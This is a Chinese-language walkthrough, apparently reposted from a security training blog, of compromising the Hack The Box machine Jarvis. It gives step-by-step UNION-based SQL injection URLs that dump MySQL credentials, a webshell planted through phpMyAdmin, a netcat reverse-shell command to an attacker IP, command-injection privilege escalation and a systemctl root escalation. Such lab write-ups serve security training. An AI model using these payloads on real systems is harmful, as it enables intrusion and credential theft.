HTB靶场记录之Jarvis

HTB靶场记录之Jarvis

1、靶机介绍

这次的靶机是Jarvis,很适合练手,难点在提权。

2、信息收集

这里我先用autorecon进行信息收集。

Autorecon集成nmap,nikto等操作可以比较全面的进行端口扫描。

用法也比较简单,只需要python autrecon.py IP就可以了。

同时会把报告保存成txt文件打开report即可,这次开了22和80端口。

访问80端口正常回显,无需添加host文件。

下一步开始用dirbuster挖掘目录信息,这次居然有一个phpmyadmin还有一些其它js,css页面。

3、利用工具getshell一条龙

往下拉,然后再随机打开一个页面经典的?xxx=1。

肌肉里面的sqlmap果断激活了,然而这个靶机是有WAF的,这个WAF有点奇怪。

你用sqlmap搞普通注入封你90S。但是你用sqlmap直接—os-shell(对注入成功的网站尝试写shell)顺便加个batch(自动填充)直接一步到位。

最后直接出现个os-shell代表成功,同时输入whoami等命令皆可执行成功。

但sqlmap的shell有时候输入其它的命令会进入死机状态,不会回显。所以需要添加一个新的反弹shell。

由于目标是一个Linux靶机,一般都配有python,所以我们可以参考一波这个各种语言:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python

这里要稍微修改一下IP和一个新的端口。

同时需要开启nc,可以得到一个新的稳定shell。

4、手工注入到getshell

手工注入对于脚本小子而言是一件比较折磨的事。

毕竟以前都是sqlmap跑,有WAF提高level级别。

不行就下一个更容易,现在重新复习回显错注入了。

手工注入这部分比较啰嗦,可以跳过这部分。

这里首先用最简单的不加任何单引号双引号括号屏蔽用and 1=1测试

10.10.10.143/room.php?cod=1 and 1=1#正常

而换成1=2不正常,实锤有注入

10.10.10.143/room.php?cod=1 and 1=2#不正常

接下来就是用order by测试

10.10.10.143/room.php?cod=1 order by 7#正常

10.10.10.143/room.php?cod=1 order by 8#不正常

确认好字段数为7以后,需要用到union来爆破显错位,当然还是比较多的。

10.10.10.143/room.php?cod=1 union select 1,2,3,4,5,6,7#无报错点位

10.10.10.143/room.php?cod=-100 union select 1,2,3,4,5,6,7#有报错点位

开始进入查数据库名阶段在2,3,4,5皆可把数字替换成关键词进行查询。这里我选择输出2作为替换点换成database()爆出一个数据库名出来。

10.10.10.143/room.php?cod=-100 union select 1,database(),3,4,5,6,7#得到一个数据库。

这里我喜欢用group_concat功能,直接把所有数据库名都给拖出来。

10.10.10.143/room.php?cod=-100 union select 1,group_concat(schema_name),3,4,5,6,7 from
information_schema.schemata#得到所有数据库名。

这里选择mysql库查看里面的内容(hotel里面的内容并不重要重要的是mysql库)。这里还是用group_concat,由于表太多了,只能复制到文本里面。

重要的是最后面有一个user表

http://10.10.10.143/room.php?cod=-100 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=’mysql’#查询mysql数据库里面的内容。

开始查询user表里面的内容里面有2个关键词User和Password,果断选择它们。

http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name=’user’#查询user表里面的所有字段内容:

最后只得到一个账号和密码

http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(User,Password),3,4,5,6,7 from mysql.user#查询所有user表里面所有关于User和Password字段的内容:

找一个MD5在线解密成功。

此时拿着我们的DBadmin和imissyou密码可以登录phpmyadmin。

同时我们可以点击SQL写一句话木马进去。

由于是Linux靶机可以大概确定绝对路径为/var/www/html

此时在前端访问成功。

把语句换为nc-e /bin/bash 10.10.14.23 6666,提前开启nc成功接收shell。

5、提权变成正常用户

开始使用sudo -l发现一个pepper可执行的Python程序。

先cd过去用cat看看里面的内容可用ping IP命令,多半可能存在命令执行。

同时存在一些过滤符号。但这里没过滤全。比如$(命令)这条漏网之鱼不在那我们就可以利用了。

写一个.sh文件里面包含基础的反弹语句,然后利用python模式开启共享模式(不用php的原因是传不上去..)。

然后我们苟到/tmp目录下把文件接过来。记得用chmod 777给权限。否则可能运行不了。

开始运行该脚本先输入-p然后输入一个正常的IP后面开始用$( )运行我们的反弹脚本。

提前开启nc成功接收shell同时可以读取第一个flag。

6、二次提权

这次sudo -l倒了只能换成find找找特殊权限,看到一个systemctl。

关于提权信息可以参考gtfobin。

但这个网站需要小小的魔法帮助。

但需要有一点更改。

我们这次运行的systemctl是一个.service文件类型的东西。

有点像文本一样,所以首先排除echo。其实在ExecStart那个变量最好更改成一个shell这样方便点。(这里我用回上面的python shell)。最后不需要变量$IF

再次用wget传上去以后一定要用link连接否则执行不了。

现在开始启动:

此时提前开好nc成功接回root的shell提权成功。

Bastard属实折磨,三过而打不进去。

Original: https://www.cnblogs.com/ichunqiu/p/15932449.html
Author: i春秋
Title: HTB靶场记录之Jarvis

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/551925/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球